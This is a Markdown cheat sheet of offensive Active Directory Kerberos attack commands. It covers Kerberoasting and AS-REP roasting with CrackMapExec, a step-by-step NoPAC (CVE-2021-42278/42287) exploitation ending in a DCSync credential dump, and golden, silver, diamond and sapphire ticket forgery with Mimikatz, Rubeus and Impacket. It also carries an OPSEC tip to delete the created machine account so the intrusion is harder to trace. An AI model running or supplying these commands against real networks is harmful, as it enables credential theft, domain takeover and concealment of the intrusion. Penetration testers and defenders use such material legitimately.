34 lines
1.8 KiB
Markdown
34 lines
1.8 KiB
Markdown
- Cerbero
|
||
- `cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv`
|
||
- Silver Ticket services
|
||
- psexec - CIFS
|
||
- winrm - HOST & HTTP
|
||
- dcsync (DC only) - LDAP
|
||
- Kerberoast/ASREPRoast (with CME)
|
||
- `crackmapexec ldap –u ValidUser –p ValidPass –kerberoast targets.txt`
|
||
- `crackmapexec ldap dc.domain.local -u ValidUser -p ValidPass --asreproast targets.txt`
|
||
- NoPAC - CVE-2021-42278 and CVE-2021-42287
|
||
- Breakdown
|
||
- Create a new computer account with any name
|
||
- Requires SeMachineAccountPrivilege - by default all domain users can create up to 10 machine accounts
|
||
- Clear the SPNs
|
||
- Change the name to mimic the SamAccountName of a Domain Controller (without the "$")
|
||
- Request TGT for the machine account
|
||
- Change name of computer back to its original value
|
||
- Request TGS for the LDAP service using the TGT
|
||
- Account name no longer exists - Kerberos will append a "$" and now the name will match the DC
|
||
- DCSync
|
||
- Exploitation
|
||
- `python noPac.py domain.local/username:password -dc-ip <DC IP> -dc-host <DC name> --impersonate <user to impersonate> -dump`
|
||
- https://github.com/Ridter/noPac
|
||
- OPSEC - remember to delete the machine account after execution
|
||
|
||
- Dominance Tickets
|
||
- Golden Tickets
|
||
- Mimikatz: `kerberos::golden /user:<user> /domain:<FQDN> /sid:<domain SID> /krbtgt:<NTLM hash> /ticket:golden.kirbi`
|
||
- Silver Tickets
|
||
- Rubeus: `Rubeus.exe silver /service:<SPN> /aes256:<preferred, but can use RC4> /user:<user> /domain:rlyeh.local /sid:<user SID>`
|
||
- Diamond Tickets
|
||
- Rubeus: `Rubeus.exe diamond /tgtdeleg /ticketuser:<user> /ticketuserid:<uid> /groups:<rid> /krbkey:<krbtgt>`
|
||
- Sapphire Tickets
|
||
- Impacket: `ticketer.py -request -user lowpriv -password 'pwd123' -impersonate administrator -domain rlyeh.local -domain-sid <sid> -aesKey <key> Administrator` |